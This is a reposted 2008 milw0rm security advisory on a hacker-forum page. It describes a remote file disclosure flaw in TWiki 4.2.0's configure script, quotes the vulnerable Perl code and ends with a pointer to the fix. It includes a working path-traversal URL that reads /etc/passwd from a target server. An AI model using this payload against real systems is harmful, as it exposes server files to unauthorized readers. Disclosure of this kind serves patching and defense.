| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
免费服务 我要发布 在线破解 黑客游戏 精华收集 免费空间 网络硬盘 独家报道 黑器点播 免费 FTP 交换资源
收费服务 黑客培训 光盘刻录 黑客书籍 视频下载 主力频道 空间域名 网站建设 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 漏洞 >> web apps >> 正文 用户登录 新用户注册
远程文件泄露漏洞           ★★★ 【字体:
TWiki 4.2.0 (configure) Remote File Disclosure Vulnerability
作者:milw0rm 文章来源:milw0rm 点击数: 更新时间:2008-8-21
####################################################################
#                                                                                                              #
#                                 TWiki 4.2.0 File Disclosure Vuln (configure)                                 #
#                                                                                                              #
###################################################################

"We're brazilian newbies!!! :p" - Th1nk3r

Info
----------------------------------------------------------------------------------------------------------------
Classe    :  Input Validation Error
Remote    :  Yes
Local     :  No
Date      :  05/08/2008
Credits   :  Th1nk3r  (cnwfhguohrugbo / gmail.com)
Greetz    :  w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.

Description
----------------------------------------------------------------------------------------------------------------
TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
Vulnerable code of "/bin/configure" script:

if( $action eq 'image' ) {
    # SMELL: this call is correct, but causes a perl error
    # on some versions of CGI.pm
    # print $query->header(-type => $query->param('type'));
    # So use this instead:
    print 'Content-type: '.$query->param('type')."\n\n";
    if( open(F, 'logos/'.$query->param('image' ))) {
        local $/ = undef;
        print <F>;
        close(F);
    }
    exit 0;
}

The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".



Exploit
----------------------------------------------------------------------------------------------------------------

To exploit the bug, you just need set the "image" variable to the path of file you wish to view.
The file will be revealed if you have permission to view it.

By example, to show the "/etc/passwd" file content, go to :
http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain



Solution
----------------------------------------------------------------------------------------------------------------
Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for
more information of how to protect your "configure" script.

# milw0rm.com
责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇漏洞:

  • 下一篇漏洞: 没有了
  • 最新hack更新
    最新推荐资讯
    相关漏洞
    id 远程SQL注入漏洞
    SunShop 远程SQL注入
    远程SQL注入漏洞
    远程任意文件上传漏洞
    多个远程SQL注入漏洞
    远程文件包含漏洞
    ActiveX远程
    空指针远程DOS的利用
    远程缓冲区溢出漏洞
    远程文件泄露漏洞
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号